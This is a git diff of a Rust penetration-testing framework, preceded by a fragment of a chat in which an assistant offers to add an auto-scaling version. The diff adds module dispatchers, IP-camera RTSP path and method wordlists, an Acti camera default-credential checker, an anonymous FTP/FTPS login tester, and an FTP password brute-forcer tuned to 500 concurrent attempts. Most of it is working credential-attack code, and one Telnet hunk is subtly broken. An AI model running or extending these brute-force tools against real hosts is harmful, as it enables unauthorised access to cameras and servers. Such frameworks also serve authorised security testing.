✅ only use the poc and it must be a 1 to 1 convertion
Here is the original module that needs to be refactored:
Would you like a Dynamic/Auto-Scaler version too? 🚀
(Example: start at 500 concurrency, grow to 5000 if CPU/RAM is good.)
Want me to show it too? 🔥
You said:
yes Dynamic/Auto-Scaler show function to add
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

+1
View File
@@ -0,0 +1 @@
just lists like word lists
+176
View File
@@ -0,0 +1,176 @@
0
0video1
1
1.AMP
11:1main
1cif
1stream1
11
12
4
CAM_ID.password.mp2
CH001.sdp
GetData.cgi
H264
HighResolutionVideo
HighResolutionvideo
Image.jpg
LowResolutionVideo
MJPEG.cgi
MediaInputh264
MediaInputh264stream_1
MediaInputmpeg4
ONVIFMediaInput
ONVIFchannel1
PSIAStreamingchannels0?videoCodecType=H.264
PSIAStreamingchannels1
PSIAStreamingchannels1?videoCodecType=MPEG4
PSIAStreamingchannelsh264
Possible
ROHchannel11
StreamingChannels1
StreamingChannels101
StreamingChannels102
StreamingChannels103
StreamingChannels2
StreamingUnicastchannels101
Streamingchannels101
Video?Codec=MPEG4&Width=720&Height=576&Fps=30
VideoInput1h2641
access_code
access_name_for_stream_1_to_5
av0_0
av0_1
av2
avn=2
axis-mediamedia.amp
axis-mediamedia.amp?videocodec=h264&resolution=640x480
cam
camrealmonitor
camrealmonitor?channel=1&subtype=00
camrealmonitor?channel=1&subtype=01
camrealmonitor?channel=1&subtype=1
cam0_0
cam0_1
cam1h264
cam1h264multicast
cam1mjpeg
cam1mpeg4
cam1onvif-h264
camera.stm
cgi-binviewervideo.jpg?resolution=640x480
ch0
ch0.h264
ch001.sdp
ch01.264
ch0_0.h264
ch0_unicast_firststream
ch0_unicast_secondstream
channel1
dms.jpg
dms?nowprofileid=2
h264
h264.sdp
h264ch1sub
h264media.amp
h264Preview_01_main
h264Preview_01_sub
cam4mpeg4
h264_vga.sdp
image.jpg
image.mpg
imagejpeg.cgi
imgmedia.sav
imgvideo.asf
imgvideo.sav
ioImage1
ipcam.sdp
ipcamstream.cgi?nowprofileid=2
ipcam_h264.sdp
jpgimage.jpg?size=3
live
live.sdp
liveav0
livech0
livech00_0
livech00_1
livech1
livech2
liveh264
livempeg4
live0.264
live1.264
live1.sdp
live2.sdp
live3.sdp
live_h264.sdp
live_mpeg4.sdp
livestream
livestream
media
media.amp
mediamedia.amp
mediavideo1
mediavideo2
mediavideo3
medias1
mjpeg.cgi
mjpegmedia.smp
mp4
mpeg4
mpeg41media.amp
mpeg4media.amp
mpeg4media.amp?resolution=640x480
mpeg4media.smp
mpeg4cif
mpeg4unicast
mpg4rtsp.amp
multicaststream
now.mp4
nph-h264.cgi
nphMpeg4g726-640x
nphMpeg4g726-640x480
nphMpeg4nil-320x240
onvif-mediamedia.amp
onviflive2
onvif1
onvif2
play1.sdp
play2.sdp
profile
recognizer
rtpvideo1.sdp
rtsp_tunnel
rtsph264
rtsph2641080p
stream1
stream2
streamingmjpeg
synthesizer
tcpav0_0
user_defined
video
video.3gp
video.cgi
video.cgi?resolution=VGA
video.cgi?resolution=vga
video.h264
video.mjpg
video.mp4
video.pro1
video.pro2
ucast11
unicastc1s1live
user.pin.mp2
video.pro3
videomjpg.cgi
video1
video1+audio1
video2.mjpg
videoMain
videoinput_1:0h264_1onvif.stm
user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
videostream.cgi?rate=0
vis
wfov
+82
View File
@@ -0,0 +1,82 @@
OPTIONS
DESCRIBE
SETUP
PLAY
PAUSE
TEARDOWN
GET_PARAMETER
SET_PARAMETER
REDIRECT
ANNOUNCE
RECORD
FLUSH
PING
STOP
RECEIVE
START
SHUTDOWN
CHECK
INIT
TRICKPLAY
STREAM
OPEN
CLOSE
START_RECORD
STOP_RECORD
SCALE
RESUME
STANDBY
START_PLAY
REQUEST_KEY_FRAME
CONFIG
FORCE_IFRAME
DETECT
ALIVE
RENEW
LINK
UNLINK
SET_DELAY
RESET
ACTIVATE
DEACTIVATE
ENABLE
DISABLE
LOGON
LOGOFF
AUTH
START_STREAM
STOP_STREAM
SET_TIME
GET_TIME
GET_STATUS
GET_CONFIG
SET_CONFIG
GET_INFO
SET_INFO
GET_SNAPSHOT
TRIGGER
UPGRADE
QUERY
POLL
HEARTBEAT
REPORT
CAMERA_CONTROL
FOCUS
ZOOM
PTZ
PAN
TILT
PRESET
GOTO_PRESET
SET_PRESET
REMOVE_PRESET
ADJUST
STATUS
RESTART
GET_URL
SET_URL
LOAD
SAVE
REGISTER
UNREGISTER
METADATA
+3 -25
View File
@@ -1,29 +1,7 @@
use anyhow::{Result, bail};
use anyhow::Result;
// Import all available credential modules
use crate::modules::creds::{
generic::{
ftp_anonymous,
ftp_bruteforce,
sample_cred_check,
telnet_bruteforce,
ssh_bruteforce,
},
camera::acti::acti_camera_default,
};
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
/// Dispatch function for credential modules
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
match module_name {
"generic/sample_cred_check" => sample_cred_check::run(target).await?,
"generic/ftp_bruteforce" => ftp_bruteforce::run(target).await?,
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
"generic/ssh_bruteforce" => ssh_bruteforce::run(target).await?,
"camera/acti/acti_camera_default" => acti_camera_default::run(target).await?,
_ => bail!("Creds module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+80
View File
@@ -0,0 +1,80 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::exploits;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_exploit" => {
exploits::sample_exploit::run(target).await?;
},
// Add more exploit modules here ...
_ => eprintln!("Exploit module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+81
View File
@@ -0,0 +1,81 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
+43 -38
View File
@@ -5,15 +5,17 @@ pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// Handle CLI commands like: --command exploit --module creds/generic/ftp_anonymous --target x.x.x.x
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let target = cli_args.target.clone().unwrap_or_default();
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/"); // normalize
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
@@ -32,60 +34,63 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
Ok(())
}
/// Called from the interactive shell (e.g. 'use creds/generic/ftp_anonymous' + 'run')
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
/// Interactive shell: handles `run` with raw target string
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
if !available.contains(&module_path.to_string()) {
eprintln!("Unknown module '{}'. Available modules:", module_path);
for module in available {
println!(" {}", module);
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
}
return Ok(());
}
};
// Split path like "creds/generic/ftp_anonymous" -> ("creds", "generic/ftp_anonymous")
let mut parts = module_path.splitn(2, '/');
let target = normalize_target(raw_target)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => {
exploit::run_exploit(module_name, target).await?;
},
"scanners" => {
scanner::run_scan(module_name, target).await?;
},
"creds" => {
creds::run_cred_check(module_name, target).await?;
},
_ => {
eprintln!("Category '{}' is not supported.", category);
}
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Discover modules in src/modules/{exploits,scanners,creds} recursively up to 6 levels deep
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in categories {
let base_path = format!("src/modules/{}", category);
let walker = WalkDir::new(&base_path).max_depth(6);
for entry in walker.into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
if path.is_file() && path.extension().map(|e| e == "rs").unwrap_or(false) {
if let Ok(relative) = path.strip_prefix("src/modules") {
let module_path = relative
.with_extension("") // remove .rs
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/"); // Windows compatibility
.replace("\\", "/");
modules.push(module_path);
}
}
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::scanners;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_scanner" => {
scanners::sample_scanner::run(target).await?;
},
// Add more scanner modules here ...
_ => eprintln!("Scanner module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+81
View File
@@ -0,0 +1,81 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
@@ -6,6 +6,8 @@ use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
@@ -25,6 +27,16 @@ pub struct Config {
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
@@ -34,7 +46,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
@@ -53,7 +65,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking in our run function)
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
@@ -62,7 +74,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
@@ -81,7 +93,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
Ok(())
}
/// Telnet check (blocking, so we use spawn_blocking in our run function)
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
@@ -90,7 +102,15 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Trying Telnet: {}:{}", username, password);
}
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
@@ -122,7 +142,7 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target, config.port);
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
@@ -179,21 +199,17 @@ pub async fn run(target: &str) -> Result<()> {
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
// Start all checks in parallel
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
// run blocking ssh check in separate thread
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
// run blocking telnet check in separate thread
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Evaluate results
ftp_res?;
ssh_res?;
telnet_res?;
@@ -0,0 +1,41 @@
use anyhow::{Result, anyhow};
use std::process::Command;
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
raise_ulimit().await
}
/// Raise ulimit to 65535
async fn raise_ulimit() -> Result<()> {
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
println!("[+] Successfully ran ulimit -n 65535.");
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
} else {
println!("[-] Warning: Could not verify new ulimit.");
}
Ok(())
}
+76 -52
View File
@@ -1,63 +1,87 @@
use anyhow::{Context, Result};
use std::net::TcpStream;
use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
use anyhow::{anyhow, Result};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
/// Checks if anonymous FTP login is allowed on a target.
///
/// Example usage from shell:
/// ```
/// rsf> use creds/ftp_anonymous
/// rsf> set target 192.168.1.1
/// rsf> run
/// ```
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
let port = 21;
let address = format!("{}:{}", target, port);
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("[*] Connecting to FTP service on {}...", address);
println!("[*] Connecting to FTP service on {}...", addr);
// Connect with a short timeout
let stream = TcpStream::connect_timeout(
&address.parse().context("Invalid address")?,
Duration::from_secs(5),
)
.context("Connection failed")?;
// Clone reader/writer
let mut reader = BufReader::new(stream.try_clone()?);
let mut writer = stream;
// Read initial banner
let mut banner = String::new();
reader.read_line(&mut banner)?;
print!("[<] {}", banner);
// Send USER anonymous
writer.write_all(b"USER anonymous\r\n")?;
writer.flush()?;
let mut response = String::new();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if !response.starts_with("3") && !response.contains("password") {
println!("[-] Server does not accept 'anonymous' user.");
return Ok(());
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("[-] Anonymous login rejected (FTP)");
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("[*] FTP server requires TLS — upgrading to FTPS...");
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
}
// Send PASS anything (or empty)
writer.write_all(b"PASS anonymous\r\n")?;
writer.flush()?;
// 2️⃣ Fallback to FTPS
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
response.clear();
reader.read_line(&mut response)?;
print!("[<] {}", response);
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
if response.starts_with("2") {
println!("[+] Anonymous login successful!");
} else {
println!("[-] Anonymous login failed.");
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("[+] Anonymous login successful (FTPS)");
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("[-] Anonymous login rejected (FTPS)");
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
+197 -101
View File
@@ -1,15 +1,59 @@
use anyhow::{anyhow, Result};
use async_ftp::FtpStream;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
AsyncNativeTlsConnector,
};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
path::PathBuf,
sync::Arc,
};
use tokio::{
sync::Mutex,
time::{sleep, Duration},
};
use tokio::{sync::Mutex, time::{sleep, Duration}};
use std::path::Path;
use sysinfo::System;
use futures::stream::{FuturesUnordered, StreamExt};
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
let cpu_usage = system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / system.cpus().len() as f32;
let ram_used = system.used_memory() as f32 / system.total_memory() as f32;
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency {
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
}
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
@@ -17,21 +61,17 @@ pub async fn run(target: &str) -> Result<()> {
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
let input = prompt_default("Max concurrent tasks", "500")?; // default 500 (higher)
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
@@ -42,49 +82,60 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let addr = format!("{}:{}", target, port);
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let passes = load_lines(&passwords_file)?;
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let _pass_len = pass_lines.len();
let mut tasks = FuturesUnordered::new();
if combo_mode {
// Every user × every pass
for user in &users {
for pass in &passes {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
}));
}
}
let userlist = if combo_mode {
users.clone()
} else {
// Pair same line index if available
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
} else {
// Line-by-line (user1 with pass1, user2 with pass2, etc.)
for (i, pass) in passes.iter().enumerate() {
let user = users.get(i % users.len()).unwrap_or(&users[0]).clone();
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
@@ -100,26 +151,19 @@ pub async fn run(target: &str) -> Result<()> {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}));
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
// 💥 Here is the correct task runner with dynamic throttling!
let mut running = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(running, concurrency).await;
res?;
running += 1;
}
// After all tasks are finished, print/save results
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
@@ -128,57 +172,118 @@ pub async fn run(target: &str) -> Result<()> {
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
let file_path = get_filename_in_current_dir(&path);
let mut file = File::create(&file_path)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
println!("[+] Results saved to '{}'", file_path.display());
}
}
Ok(())
}
/// Try FTP login and only fallback to FTPS if "SSL/TLS required" is detected
